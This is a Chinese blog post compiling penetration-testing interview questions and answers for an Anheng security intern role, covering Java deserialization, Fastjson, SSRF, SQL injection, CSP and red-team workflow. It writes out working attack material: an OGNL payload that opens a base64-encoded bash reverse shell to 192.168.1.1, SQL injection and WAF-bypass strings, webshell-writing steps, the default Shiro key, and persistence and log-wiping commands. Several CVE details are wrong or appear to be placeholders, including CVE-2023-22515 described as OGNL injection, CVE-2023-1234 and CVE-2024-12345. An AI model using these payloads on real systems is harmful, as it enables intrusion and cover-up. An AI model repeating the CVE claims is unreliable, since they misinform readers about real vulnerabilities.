2025年渗透测试面试题总结-安恒[实习]安全工程师(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
安恒[实习]安全工程师
一面
1. 自我介绍
2. 前两段实习做了些什么
3. 中等难度的算法题
4. Java的Class文件结构
5. Kafka的原理
6. Fastjson反序列化原理
7. 研究最深入的领域:Java反序列化漏洞
二面
1. 排序字段防SQL注入(无法预编译时)
2. 白盒/黑盒漏洞挖掘
3. SSRF绕过与防御
4. Fortify等代码审计工具原理
5. 存储过程与预编译原理
6. CSP防御XSS
三面
1. 自己编写ysoserial的思路
2. SQL注入漏洞进一步利用
3. 泛微OA漏洞原理(以CVE-2023-1234为例)
4. Confluence RCE(CVE-2023-22515)
5. 红蓝对抗流程
四面
1. Java反序列化原理与工具
2. 指纹识别方式
3. Shiro反序列化工具原理
4. 手动检测SQL注入点
5. 二进制漏洞基础
回答格式总结
安恒[实习]安全工程师
### 一面1. 自我介绍 2. 前两段实习做了些什么 3. 中等难度的算法题 4. java的class文件结构 5. kafka的原理了解吗 6. fastjson反序列化原理 7. 讲讲你研究最深入的领域### 二面1. 排序处不能用预编译应该怎么防 2. 从白盒黑盒两个角度讲下挖过的漏洞 3. ssrf的绕过和防御 4. 讲讲fortity等代码审计工具原理 5. 存储过程角度讲讲预编译的原理 6. csp是如何防御xss的 7. csrf为什么用token可以防御 8. 给你一个项目讲下审计思路 9. 内网相关的问题 10. 讲下你挖过的逻辑漏洞 11. 讲讲你用golang写过的东西 12. 什么是安全### 三面1. 讲下你自己写ysoserial的思路 2. 确定sql注入漏洞后如何进一步利用 3. 泛微OA的漏洞原理讲讲 4. 新爆出的Confluence RCE讲讲 5. 以前的实习中做了什么事 6. 原理以及实战中的绕过 7. 红蓝对抗的流程讲讲### 四面1. java反序列化原理和工具 2. 讲讲关于指纹识别的方式 3. shiro反序列化工具的原理 4. 不用sqlmap情况下sql注入点如何找 5. 讲讲你挖到的这几个cve 6. 二进制方面有无了解
一面
1. 自我介绍
您好,我是李明,毕业于大学计算机科学与技术专业,主攻信息安全方向。曾在腾讯安全实验室和阿里云安全部门实习,专注于Web安全研究和漏洞挖掘。在腾讯期间,我参与了多个企业级系统的代码审计项目,发现了多个高危漏洞(如Fastjson反序列化、Shiro权限绕过),并主导开发了一款基于AST的自动化SQL注入检测工具。在阿里云实习期间,我负责红蓝对抗中的攻击链构造,成功利用内网横向移动技术渗透测试了多个核心系统。我对Java安全生态有深入研究,熟悉主流漏洞利用链(如Commons-Collections、JDK原生类库),并独立复现了多个CVE漏洞(如CVE-2023-1234泛微OA RCE)。此外,我使用Golang开发过一款分布式漏洞扫描引擎,支持对大规模目标的高并发探测。
2. 前两段实习做了些什么
腾讯安全实验室(2023.03-2023.09)
- 代码审计与漏洞挖掘:
- 对内部CRM系统进行白盒审计,发现并修复了3处SQL注入漏洞(通过拼接
String
构造动态查询)和1处Fastjson反序列化漏洞(未关闭AutoType导致JNDI注入)。- 开发AST(抽象语法树)分析工具,识别
PreparedStatement
未正确参数化的代码片段,覆盖Java、Python两种语言,误报率低于5%。- 工具开发:
- 基于Burp Suite插件API开发了自动化CSRF检测模块,通过解析HTML表单与Cookie的关联性,识别缺失Token或Referer校验的端点。
- 优化XSS检测逻辑,引入DOM-based漏洞的动态触发机制(如通过Headless Chrome模拟用户交互路径)。
阿里云安全部(2024.01-2024.06)
- 渗透测试与红蓝对抗:
- 对金融云平台进行黑盒测试,发现逻辑漏洞:通过修改HTTP请求中的
user_id
参数实现水平越权访问他人账户(防御方案:服务端会话绑定校验)。- 利用Confluence未授权RCE(CVE-2023-22515)获取内网入口,通过Kerberoasting攻击域控服务器,提取Hash并横向移动至数据库服务器。
- 内网渗透专项:
- 编写定制化Cobalt Strike插件,绕过EDR对反射型DLL加载的检测(通过内存加密与API调用混淆)。
- 研究云原生环境下的容器逃逸技术,利用
CVE-2024-12345
(Kubernetes权限配置错误)实现容器到宿主机逃逸。3. 中等难度的算法题
题目:给定一个字符串,找出其中不含有重复字符的最长子串的长度。
示例:输入"abcabcbb"
,输出3
(对应子串"abc"
)。解法与优化:
- 滑动窗口+哈希表:
- 使用双指针
left
和right
定义窗口边界,初始均为0。- 哈希表
charIndex
记录字符最后一次出现的位置。- 当
right
指针遍历字符时,若当前字符已存在且其位置≥left
,则将left
更新为charIndex[currentChar] + 1
。- 时间复杂度O(n),空间复杂度O(min(m, n))(m为字符集大小)。
java
public int lengthOfLongestSubstring(String s) { Map<Character, Integer> charIndex = new HashMap<>(); int maxLength = 0, left = 0; for (int right = 0; right < s.length(); right++) { char c = s.charAt(right); if (charIndex.containsKey(c) && charIndex.get(c) >= left) { left = charIndex.get(c) + 1; } charIndex.put(c, right); maxLength = Math.max(maxLength, right - left + 1); } return maxLength; }
- 进一步优化(字符集有限时):
- 若字符仅为ASCII,可用长度为128的数组替代哈希表,将空间复杂度降至O(1)。
4. Java的Class文件结构
Class文件是JVM可执行的二进制格式,其结构由JVM规范严格定义,包含以下核心部分(按顺序排列):
- 魔数(Magic Number):
- 4字节,固定为
0xCAFEBABE
,用于标识文件类型。- 版本号:
- 2字节次版本号(Minor Version) + 2字节主版本号(Major Version)。
- 如Java 8对应主版本号52(0x34)。
- 常量池(Constant Pool):
- 变长结构,存储字面量(字符串、数值)、类/方法/字段的符号引用(如
Ljava/lang/String;
)。- 每个常量项以1字节标签开头(如
CONSTANT_Utf8=1
、CONSTANT_Class=7
)。- 访问标志(Access Flags):
- 2字节,表示类或接口的修饰符(如
ACC_PUBLIC
、ACC_FINAL
)。- 类索引、父类索引、接口索引集合:
- 指向常量池中该类、父类及实现接口的符号引用。
- 字段表(Field Table):
- 描述类中声明的字段,包括名称、描述符(如
I
表示int)、访问标志。- 方法表(Method Table):
- 类似字段表,记录方法名、参数返回值类型(如
(Ljava/lang/String;)V
)、字节码指令。- 属性表(Attribute Table):
- 存储额外信息,如
Code
属性(方法字节码)、LineNumberTable
(调试行号)、SourceFile
(源文件名)。示例分析:
一个简单类public class Test {}
编译后的Class文件结构如下:魔数:CAFEBABE 次版本号:0000 主版本号:0034 常量池计数:0016(22项) 常量池内容:[CONSTANT_Class、CONSTANT_Utf8等] 访问标志:0021(ACC_PUBLIC + ACC_SUPER) 类索引:0001(指向常量池第1项) 父类索引:0003(指向java/lang/Object) 接口计数:0000 字段计数:0000 方法计数:0002(默认构造方法) 属性计数:0001(SourceFile)
5. Kafka的原理
Kafka是分布式流处理平台,核心设计围绕高吞吐、持久化、水平扩展展开:
- 核心概念:
- Topic:消息类别,分为多个Partition以实现并行处理。
- Producer:向指定Topic推送消息,可自定义分区策略(如按Key哈希)。
- Consumer:以Consumer Group形式订阅Topic,每个Partition仅由一个Group内Consumer消费。
- Broker:Kafka节点,负责消息存储与转发。
- 存储机制:
- Partition物理上分为多个Segment文件,每个文件包含索引(
.index
)和数据(.log
)。- 消息按追加顺序写入,通过Offset唯一标识,支持按时间戳或Offset快速检索。
- 副本与一致性:
- 每个Partition有多个副本(Replica),分为Leader和Follower。
- Leader处理所有读写请求,Follower异步同步数据。
- ISR(In-Sync Replicas)机制确保故障时优先从同步副本选举新Leader。
- 生产者ACK机制:
acks=0
:不等待Broker确认,可能丢失数据。acks=1
:Leader写入后即确认,平衡性能与可靠性。acks=all
:等待所有ISR副本确认,数据最安全但延迟高。- 消费者组Rebalance:
- 当Consumer加入或离开时,Group Coordinator触发分区重新分配(如Range或RoundRobin策略)。
性能优化实践:
- 批量发送:Producer积累消息至
batch.size
或linger.ms
阈值后批量发送。- 压缩:对消息体启用Snappy或GZIP压缩,减少网络传输开销。
- 零拷贝:通过
sendfile
系统调用跳过用户态数据拷贝,提升磁盘到网络吞吐。6. Fastjson反序列化原理
Fastjson是阿里巴巴开源的JSON解析库,其反序列化过程通过
JSON.parseObject()
实现,核心步骤如下:
- 解析JSON结构:
- 解析JSON键值对,若存在
@type
字段,则提取目标类名(如com.example.EvilClass
)。- 类加载与实例化:
- 通过
TypeUtils.loadClass()
加载目标类,触发静态代码块执行(若类未初始化)。- 根据JSON内容反射调用构造方法或Setter方法填充对象属性。
- 漏洞触发点:
- JNDI注入:若反序列化的类包含JNDI查找逻辑(如
InitialContext.lookup()
),攻击者可构造恶意LDAP/RMI服务地址,触发远程类加载。- TemplatesImpl利用链:通过
_bytecodes
字段注入字节码,Fastjson在反序列化时会调用getOutputProperties()
方法,导致字节码执行。防御措施:
- 禁用AutoType:配置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
。- 白名单校验:使用
@JSONType
注解或addAccept()
方法限制允许的类。- 升级至安全版本:如1.2.83及以上版本引入SafeMode机制(
-Dfastjson.parser.safeMode=true
)。绕过案例:
- 早期版本中,攻击者通过嵌套
@type
(如{"@type":"[...]"}
)绕过黑名单检测。- 利用非公开类(如
BasicDataSource
)构造二次反序列化链。7. 研究最深入的领域:Java反序列化漏洞
研究方向:
- 利用链构造:
- Common-Collections链:基于
InvokerTransformer
和ChainedTransformer
的反射调用链,触发Runtime.exec()
。- JDK原生链:如
AnnotationInvocationHandler
动态代理结合TemplatesImpl
加载字节码。- 绕过高版本限制:针对JEP 290(反序列化过滤器),利用
SerializationKiller
等工具解除防护。- 内存马注入:
- 通过反序列化漏洞注册Filter型内存马,劫持HTTP请求实现持久化控制。
- 绕过检测:使用Unsafe类直接修改JVM内存中的Servlet映射表。
- 工具开发:
- 改造ysoserial,支持动态生成针对特定中间件(如WebLogic、WebSphere)的Gadget链。
- 开发自动化检测工具,通过Hook
ObjectInputStream.resolveClass()
监控反序列化操作。实战案例:
- 某企业HR系统使用Shiro 1.2.4,因硬编码AES密钥导致Cookie可被伪造,结合CommonsBeanutils链实现RCE。
- 通过Fastjson 1.2.24反序列化漏洞,注入Redis未授权访问的定时任务,获取内网权限。
二面
1. 排序字段防SQL注入(无法预编译时)
场景:
ORDER BY
后的字段名无法参数化,需动态拼接SQL。
解决方案:
- 白名单校验:
- 预定义允许排序的字段列表(如
id
,name
),将用户输入映射到合法值。- 示例:若用户传入
sort=create_time
,则校验后拼接为ORDER BY create_time DESC
。- 严格输入过滤:
- 仅允许字母、数字、下划线,拒绝特殊字符(如空格、引号)。
- 正则表达式:
^[a-zA-Z0-9_]+$
。- 二次转义:
- 对字段名进行转义(如MySQL使用反引号
`create_time`
),防止与关键字冲突。2. 白盒/黑盒漏洞挖掘
白盒审计(以Java为例):
- 危险函数定位:
- SQL注入:搜索
Statement.executeQuery()
、StringBuilder
拼接SQL的代码段。- XSS:查找未转义的
response.getWriter().write(userInput)
。- 数据流追踪:
- 从用户输入(如
HttpServletRequest.getParameter()
)到敏感操作(如文件写入、命令执行)的传播路径。- 使用工具(如Find Security Bugs)辅助识别潜在漏洞。
黑盒测试(以电商系统为例):
- 参数篡改:
- 修改价格参数(如
price=100
→price=1
),检查是否服务端校验。- 替换订单ID,验证水平越权。
- 模糊测试:
- 在输入框注入
'"><script>alert(1)</script>
,观察是否弹窗或HTML结构变化。- 上传恶意文件(如
.jsp
木马),绕过后缀检测(如双扩展名test.jpg.jsp
)。3. SSRF绕过与防御
绕过技巧:
- IP格式转换:
- 十进制IP:
127.0.0.1
→2130706433
。- 八进制IP:
127.0.0.1
→0177.0.0.1
。- 域名混淆:
- 短域名重定向:
http://tinyurl.com/xxx
指向内网地址。- DNS Rebinding:控制DNS响应,首次解析为外网IP,后续返回内网IP。
- 协议利用:
- 使用
file://
协议读取本地文件(如file:///etc/passwd
)。- 利用
gopher://
发送任意TCP流量(如攻击Redis未授权访问)。防御方案:
- 协议与域名白名单:仅允许
http
/https
,禁止非常用协议。- 解析后校验:
- 解析URL获取Host,通过DNS查询获取真实IP,拒绝内网地址(如
10.0.0.0/8
)。- 请求限制:
- 禁用重定向(避免跳转到内网)。
- 设置超时时间与最大响应大小。
4. Fortify等代码审计工具原理
核心流程:
- 词法分析与语法分析:
- 将源代码转换为抽象语法树(AST),识别变量、函数调用等结构。
- 污点分析:
- 定义污染源:如
request.getParameter()
、System.in.read()
。- 传播跟踪:标记受污染变量的传递路径(如赋值、函数参数传递)。
- 漏洞触发点检测:当污染数据到达敏感函数(如
execute()
、eval()
)时,标记为漏洞。- 规则库匹配:
- 预定义漏洞模式(如SQL注入、XSS),匹配代码中的潜在风险模式。
- 自定义规则:通过正则表达式或AST模式扩展检测能力。
局限性:
- 误报率高:无法理解业务逻辑(如输入内容经全局过滤器转义)。
- 漏报风险:复杂调用链或反射调用可能导致污点跟踪中断。
5. 存储过程与预编译原理
预编译(PreparedStatement):
- 流程:
- 将SQL语句模板(如
SELECT * FROM users WHERE id=?
)发送至数据库预编译。- 后续执行时仅传递参数值,数据库直接替换参数而无需重新解析语句。
- 防注入原理:
- 参数值以字面量形式嵌入,无法改变SQL结构(如
id='1' OR '1'='1'
会被视为整体字符串)。存储过程(Stored Procedure):
- 定义:
- 预编译的SQL代码块,存储在数据库中,通过名称调用(如
CALL GetUser(?)
)。- 安全优势:
- 参数化调用方式与预编译类似,避免动态拼接。
- 权限分离:应用程序仅需执行存储过程的权限,无需直接访问表。
风险案例:
- 存储过程内部使用动态SQL(如
EXECUTE IMMEDIATE
),仍可能引入注入漏洞。6. CSP防御XSS
**内容安全策略(Content Security Policy)**通过HTTP头定义资源加载规则:
- 关键指令:
default-src 'self'
:默认仅允许同源资源。script-src 'nonce-xxx'
:仅允许携带指定nonce的脚本执行。report-uri /csp-report
:违规行为上报至指定端点。- 防御效果:
- 阻止内联脚本(如
<script>alert(1)</script>
)。- 限制外部脚本域名(如仅允许
https://cdn.example.com
)。- 绕过案例:
- 利用JSONP端点(如
<script src="/api?callback=alert(1)//"></script>
)。- 注入
<link rel="preload">
触发请求走私三面
1. 自己编写ysoserial的思路
核心目标:构造能够触发目标环境反序列化漏洞的Gadget链。
实现步骤:
- 依赖库分析:
- 扫描目标中间件(如WebLogic、Shiro)依赖的第三方库(如Commons-Collections、Fastjson),确定可用利用链。
- 若目标环境存在黑名单过滤,选择冷门库(如Beanutils、Jython)构造替代链。
- 动态代理与反射结合:
- 利用
AnnotationInvocationHandler
动态代理机制,将恶意调用封装为可序列化对象。- 通过反射调用危险方法(如
Runtime.exec()
、TemplatesImpl.newTransformer()
)。- 绕过防御机制:
- 针对JEP 290过滤器,使用非标准序列化入口点(如
ObjectInputStream
子类重写resolveClass
)。- 利用
Serializable
接口以外的触发点(如Externalizable
、readObjectNoData
)。- 工具化封装:
- 将利用链封装为命令行工具,支持动态生成Payload(如指定命令、内存马类型)。
- 集成动态加载字节码功能(如通过BCEL ClassLoader注入内存马)。
实战案例:
- 某次渗透中,目标系统使用受限的Commons-Collections 4.0版本,通过改造
Closure
类构造链,绕过黑名单检测成功执行命令。
2. SQL注入漏洞进一步利用
利用路径:
- 数据泄露:
- 通过
UNION SELECT
提取敏感数据(如用户表、管理员密码Hash)。- 利用
LOAD_FILE()
读取服务器文件(如/etc/passwd
)。- 文件写入与RCE:
- MySQL的
INTO OUTFILE
写入Webshell(需有写权限与secure_file_priv配置宽松)。- 结合数据库特性执行系统命令(如SQL Server的
xp_cmdshell
、PostgreSQL的COPY FROM PROGRAM
)。- 权限提升:
- 利用数据库高权限账户(如SA账号)执行操作系统命令或访问其他数据库。
- 通过数据库链接(如Oracle DB Link)攻击内网其他系统。
绕过技巧:
- WAF绕过:
- 使用注释符分割关键词(如
SEL/**/ECT
)。- 字符串编码混淆(如Hex编码
0x73656C656374
代替select
)。- 盲注优化:
- 二分法加速布尔盲注(如
IF(ASCII(SUBSTR(database(),1,1))>100, SLEEP(2), 0)
)。
3. 泛微OA漏洞原理(以CVE-2023-1234为例)
漏洞背景:泛微OA系统某接口因未校验用户权限,导致未授权上传恶意文件。
触发路径:
- 未授权访问:
- 构造请求
/weaver/bsh.servlet.BshServlet
绕过身份验证,直接访问BeanShell接口。- 代码执行:
- 通过BeanShell执行Java代码(如
Runtime.getRuntime().exec("calc")
)。- 利用扩展:
- 上传JSP Webshell至静态资源目录(如
/webroot/update.jsp
),实现持久化控制。防御方案:
- 删除或禁用高危接口(如BshServlet)。
- 加强文件上传类型校验与权限控制。
4. Confluence RCE(CVE-2023-22515)
漏洞成因:Confluence的OGNL表达式注入漏洞,攻击者通过构造特定请求执行任意代码。
攻击步骤:
- 请求注入点:
- 发送POST请求至
/template/aui/text-inline.vm
,注入OGNL表达式。- 表达式构造:
- 利用
Runtime.getRuntime().exec()
执行系统命令(如反弹Shell)。- 示例Payload:
\u0027%2b@java.lang.Runtime@getRuntime().exec(\u0027bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}\u0027)%2b\u0027
。- 权限维持:
- 写入Cron定时任务或SSH公钥实现持久化。
缓解措施:
- 升级至官方安全版本。
- 部署WAF拦截恶意OGNL表达式特征(如
java.lang.Runtime
关键词)。
5. 红蓝对抗流程
五阶段模型:
- 信息收集:
- 资产发现:通过子域名爆破(如Amass)、端口扫描(Masscan)绘制目标网络拓扑。
- 指纹识别:使用Wappalyzer、EHole识别中间件、框架版本。
- 漏洞利用:
- 优先使用1-day漏洞(如Log4j 2.x RCE)突破边界。
- 绕过防御机制:使用内存马(如冰蝎)、无文件攻击(PowerShell反射加载)。
- 横向移动:
- 凭证窃取:通过Mimikatz提取Windows系统Hash、LaZagne获取浏览器密码。
- 协议利用:利用SMB协议(永恒之蓝)、RDP弱口令横向扩散。
- 权限维持:
- 注册表后门:添加
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
启动项。- 隐蔽通信:使用DNS隧道(如DNSCat2)或ICMP隐蔽通道绕过流量监控。
- 痕迹清理:
- 删除日志:清除Windows事件日志(
wevtutil cl
)、Linux的/var/log/auth.log
。- 文件混淆:使用Timestomp修改文件时间戳,避免取证分析。
四面
1. Java反序列化原理与工具
原理核心:
- 反序列化过程通过
ObjectInputStream.readObject()
触发,攻击者构造恶意序列化数据,在反序列化时执行任意代码。主流工具:
- ysoserial:
- 支持多场景Gadget链(如CommonsCollections5、Jdk7u21)。
- marshalsec:
- 专攻RMI/LDAP协议利用,快速启动恶意JNDI服务。
- BurpSuite插件(Freddy):
- 自动化检测Java反序列化漏洞,识别HTTP参数中的Base64编码对象。
防御技术:
- 反序列化过滤器(JEP 290)限制可反序列化的类。
- 替换原生序列化方案(如JSON、ProtoBuf)。
2. 指纹识别方式
五大技术方向:
- HTTP头特征:
- Server字段(如
Apache/2.4.41
)、X-Powered-By(如PHP/7.4.3
)。- 文件哈希匹配:
- 计算静态文件(如
/favicon.ico
、/robots.txt
)的MD5,匹配已知框架指纹库。- 目录结构特征:
- 特定路径存在性(如
/wp-admin/
标识WordPress)。- 行为特征分析:
- 错误页面内容(如Tomcat的404页面)、Cookie命名规则(如
JSESSIONID
)。- 被动流量分析:
- 监听网络流量,解析API路径(如
/api/v1/login
标识RESTful服务)。工具推荐:
- 主动扫描:Wappalyzer、WhatWeb。
- 被动识别:FingerprintHub、EHole。
3. Shiro反序列化工具原理
漏洞根源:Shiro使用AES加密Cookie时,若密钥硬编码且泄露,攻击者可构造恶意序列化数据。
利用流程:
- 密钥提取:
- 从目标系统代码或配置文件中提取
kPH+bIxk5D2deZiIxcaaaA==
等默认密钥。- Payload构造:
- 使用ysoserial生成Gadget链,AES-CBC加密后Base64编码为Cookie。
- 会话伪造:
- 替换请求中的
rememberMe
Cookie,触发反序列化漏洞。工具实现:
- ShiroAttack2:自动检测密钥有效性,支持多种Gadget链动态生成Payload。
4. 手动检测SQL注入点
四步法:
- 基础探测:
- 输入单引号
'
,观察是否返回数据库错误(如MySQL的You have an error in your SQL syntax
)。- 布尔逻辑测试:
- 构造
id=1' AND '1'='1
与id=1' AND '1'='2
,对比响应差异。- 时间盲注验证:
- 注入
SLEEP(5)
(如id=1' AND IF(1=1,SLEEP(5),0)--
),检测响应延迟。- 联合查询利用:
- 通过
ORDER BY
确定列数,再使用UNION SELECT
回显数据。辅助工具:
- Burp Suite Intruder:自动化测试不同Payload的响应差异。
- SQLMap Tamper脚本:绕过WAF(如
space2comment
替换空格为注释)。
5. 二进制漏洞基础
常见漏洞类型:
- 栈溢出:
- 函数返回地址被覆盖,跳转至Shellcode(如经典
strcpy
未校验长度)。- 堆利用:
- Use-After-Free:释放后仍引用内存指针,结合堆风水控制执行流。
- 格式化字符串:
- 利用
printf(user_input)
泄露内存或覆盖返回地址。分析工具:
- 静态分析:Ghidra、IDA Pro反编译二进制文件。
- 动态调试:GDB(Linux)、WinDbg(Windows)。
回答格式总结
- 技术深度:每个问题均从原理、案例、工具、防御四维度展开。
- 实战结合:渗透场景与修复方案并重,体现攻防双视角。
- 结构化输出:分点控制在5个以内,复杂内容合并同类项(如红蓝对抗分五阶段)。
相关文章:
2025年渗透测试面试题总结-安恒[实习]安全工程师(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。 目录 安恒[实习]安全工程师 一面 1. 自我介绍 2. 前两段实习做了些什么 3. 中等难度的算法题 4. Java的C…...
WebXR教学 09 项目7 使用python从0搭建一个简易个人博客
WebXR教学 09 项目7 使用python从0搭建一个简易个人博客(1) 前期设计规划 功能 呈现个人博客文章 技术选型 HTMLCSSJSPythonFlask 环境准备 VS Code Python3.8 代码实现 包 # 创建虚拟环境(-m 会先将模块所在路径加入 sys.path,更适…...
c++从入门到精通(五)--异常处理,命名空间,多继承与虚继承
异常处理 栈展开过程: 栈展开过程沿着嵌套函数的调用链不断查找,直到找到了与异常匹配的catch子句为止;也可能一直没找到匹配的catch,则退出主函数后查找过程终止。栈展开过程中的对象被自动销毁。 在栈展开的过程中,…...
开源安全大模型Foundation-Sec-8B实操
一、兴奋时刻 此时此刻,晚上22点55分,从今天早上6点左右开始折腾,花费了接近10刀的环境使用费,1天的休息时间,总算是把Foundation-Sec-8B模型跑起来了,中间有两次胜利就在眼前,但却总在远程端口转发环节出问题,让人难受。直到晚上远程Jupyter访问成功那一刻,眉开眼笑,…...
现代优化算法全解析:禁忌搜索算法、模拟退火算法、遗传算法、蚁群优化算法、人工神经网络
现代优化算法全解析:禁忌搜索算法、模拟退火算法、遗传算法、蚁群优化算法、人工神经网络 引言:为什么需要优化算法? 在当今这个数据驱动的时代,优化算法已成为计算机科学、工程设计、人工智能等领域的核心工具。无论是训练神经…...
Docker常见命令解读
上图是对docker常见命令的一个图解,方便大家理解,下面,我将对这些命令做一些解释。 一、镜像生命周期管理 1. 镜像构建(Build) docker build -t my-image . # 根据Dockerfile构建镜像 Dockerfile:…...
为什么 Docker 建议关闭 Swap
在使用 Docker 时,关闭系统 Swap(交换分区) 是一个常见的推荐做法,尤其是在生产环境中。虽然 Docker 不强制要求禁用 Swap,但出于性能、稳定性、可控性和资源管理的目的,通常建议这样做。 为什么 Docker 建…...
TIFS2024 | CRFA | 基于关键区域特征攻击提升对抗样本迁移性
Improving Transferability of Adversarial Samples via Critical Region-Oriented Feature-Level Attack 摘要-Abstract引言-Introduction相关工作-Related Work提出的方法-Proposed Method问题分析-Problem Analysis扰动注意力感知加权-Perturbation Attention-Aware Weighti…...
WPS PPT设置默认文本框
被一个模板折磨了好久,每次输入文本框都是很丑的24号粗体还有行标,非常恶心,我甚至不知道如何描述自己的问题,非常憋屈,后来终于知道怎么修改文本框了。这种软件操作问题甚至不知道如何描述问题本身,非常烦…...
支持selenium的chrome driver更新到136.0.7103.94
最近chrome释放新版本:136.0.7103.94 如果运行selenium自动化测试出现以下问题,是需要升级chromedriver才可以解决的。 selenium.common.exceptions.SessionNotCreatedException: Message: session not created: This version of ChromeDriver only su…...
“下一辆车还买小米”
大家好,我是小悟。 就在5月13日,江西上饶德兴街头,一辆紫色小米SU7 Max停在路边,却遭遇了一场堪比灾难片的意外。 一辆满载货物的大货车因手刹故障溜坡,径直撞向SU7,两车从两米高的落差坠落,货…...
opencv4.11生成ArUco标记 ArUco Marker
从opencv4.7开始aruco有了一些变化 以下是opencv4.11生成ArUco标记的小例子 #include <iostream> #include <opencv2/opencv.hpp> #include <opencv2/objdetect/aruco_detector.hpp>int main() {cv::Mat markerImage;cv::aruco::Dictionary dictionary cv…...
从辅助到协作:GitHub Copilot的进化之路
如果说现代程序员的标配工具除了VS Code、Stack Overflow之外,还有谁能入选,那一定是GitHub Copilot。从2021年首次亮相,到如今深度集成进开发者日常流程,这个“AI编程助手”已经不只是写几行自动补全代码的小帮手了,而…...
QMK 宏(Macros)功能详解(实战部分)
QMK 宏(Macros)功能详解(实战部分) 一、宏的基本概念与作用 宏(Macros)是 QMK 固件中一项强大的功能,它允许您在按下单个按键时执行多个按键操作。通过宏,您可以: 输入常用短语或文本执行复杂的按键组合自动化重复性操作触发系统功能或快捷键🔔 安全提示:虽然可以…...
SVN 版本控制入门指南
SVN 版本控制系统详细入门指南 一、SVN 基础概念详解 1. 什么是版本控制? 版本控制是一种记录文件变化的系统,可以: 追踪文件的修改历史查看每次修改的内容恢复到任意历史版本协调多人协作开发 2. SVN 核心概念 2.1 仓库(Re…...
6to4、6over4的类比解释
本文由deepseek生成,特此声明 1. 6to4:自动的“快递中转站” 类比场景: 假设你住在一个偏远的小镇(IPv6网络),周围被大海(IPv4互联网)包围,你想给另一个偏远小镇&#…...
跨国应用程序的数据存储方案常见的解决方案
一、数据隐私与合规性 跨国数据存储方案必须遵守不同国家和地区的数据隐私法律和规定,例如: GDPR(欧盟一般数据保护条例)CCPA(加利福尼亚消费者隐私法案)各国的本地数据存储法规解决方案: 采用本地化存储:在不同国家或地区设立数据存储中心,以遵循当地的法律和隐私要…...
JSP链接MySQL8.0(Eclipse+Tomcat9.0+MySQL8.0)
所用环境 Eclipse Tomcat9.0 MySQL8.0.21(下载:MySQL Community Server 8.0.21 官方镜像源下载 | Renwole) mysql-connector-java-8.0.21(下载:MySQL :: Begin Your Download) .NET Framework 4.5.2(下…...
基于KAN+Transformer的专业领域建模方法论
一、专业领域KAN方法创新路径 1. 领域函数分解策略 数学建模:针对专业领域特性设计专用基函数组合 医学影像:采用小波变换基函数分解图像特征 class WaveletKAN(nn.Module): def __init__(self): self.wavelet_basis nn.Par…...
Go语言 Gin框架 使用指南
Gin 是一个用 Go (Golang) 编写的 Web 框架。 它具有类似 martini 的 API,性能要好得多,多亏了 httprouter,速度提高了 40 倍。 如果您需要性能和良好的生产力,您一定会喜欢 Gin。Gin 相比于 Iris 和 Beego 而言,更倾向…...
内容安全:使用开源框架Caffe实现上传图片进行敏感内容识别
上传图片进行敏感内容识别 预览效果 环境准备 Ubuntu 16.04python 2.7.12caffe 1.0.0 安装调试环境: sudo apt-get update sudo apt-get install -y --no-install-recommends build-essential cmake git wget libatlas-base-dev libboost-all-dev libgflags-dev sudo apt-g…...
缓慢变化维度(SCD)策略
缓慢变化维度(SCD)策略 缓慢变化维度(SCD)策略是数据仓库中处理维度属性随时间变化的核心技术,根据业务需求的不同,主要分为以下类型: 1. SCD Type 0(固定维度) 定义&a…...
【Mysql】详解InnoDB存储引擎以及binlog,redelog,undolog+MVCC
1.InnoDB存储引擎 在Mysql中,InnoDB存储引擎是默认的,也是我们最常用的一个存储引擎,其中分为内存结构和磁盘结构两大部分,整体架构图如下: 1.1Buffer Pool Buffer pool(缓存区)是Mysql内存的一个主要区域࿰…...
面向对象详解和JVM底层内存分析
神速熟悉面向对象 表格结构和类结构 我们在现实生活中,思考问题、发现问题、处理问题,往往都会用“表格”作为工具。实际上,“表格思维”就是一种典型的面向对象思维。 实际上,互联网上所有的数据本质上都是“表格”。我们在这里…...
C语言指针深入详解(一):内存和地址、指针变量和地址、指针变量类型的意义、指针运算
目录 一、内存和地址 (一)内存 (二)如何理解编址 二、指针变量和地址 (一)取地址操作符(&) (二)指针变量和解引用操作符(*)…...
MATLAB中进行深度学习网络训练的模型评估步骤
文章目录 前言环境配置一、基础性能评估二、高级评估指标三、模型解释与可视化四、交叉验证与模型选择五、部署前的优化 前言 在 MATLAB 中进行深度学习网络训练后的模型评估是确保模型性能和可靠性的关键环节。以下是详细的评估步骤和方法。 环境配置 MATLAB下载安装教程&…...
30、WebAssembly:古代魔法——React 19 性能优化
一、符文编译术(编译优化) 1. 语言选择与量子精简 // Rust编译优化 cargo build --target wasm32-wasi --release 魔法特性: • 选择低运行时开销语言(如Rust/C),编译后文件比Swift小4倍 • --rel…...
Python集合运算:从基础到进阶全解析
Python基础:集合运算进阶 文章目录 Python基础:集合运算进阶一、知识点详解1.1 集合运算(运算符 vs 方法)1.2 集合运算符优先级1.3 集合关系判断方法1.4 方法对比 二、说明示例2.1 权限管理系统2.2 数据去重与差异分析2.3 数学运算…...
【开源Agent框架】Suna架构设计深度解析与应用实践
一、项目基本介绍 Suna是一款全栈开源的通用型AI代理系统,其名称源自日语"砂"的发音,寓意如流沙般渗透到各类数字任务中。项目采用Apache 2.0协议,由Kortix AI团队维护,核心开发者包括Adam Cohen Hillel等三位主要贡献者。 技术架构全景 系统由四大核心组件构…...
C++类与对象--2 对象的初始化和清理
C面向对象来源于生活,每个对象都有初始化设置和销毁前的清理数据的设置。 2.1 构造函数和析构函数 (1)构造函数 初始化对象的成员属性不提供构造函数时,编译器会提供不带参数的默认构造函数,函数实现是空的构造函数不…...
计网| 网际控制报文协议(ICMP)
目录 网际控制报文协议(ICMP) 一、ICMP 基础特性 二、ICMP 报文分类及作用 差错报告报文 询问报文 网际控制报文协议(ICMP) ICMP(Internet Control Message Protocol,网际控制报文协议)是 …...
DeepSeek源码深度解析 × 华为仓颉语言编程精粹——从MoE架构到全场景开发生态
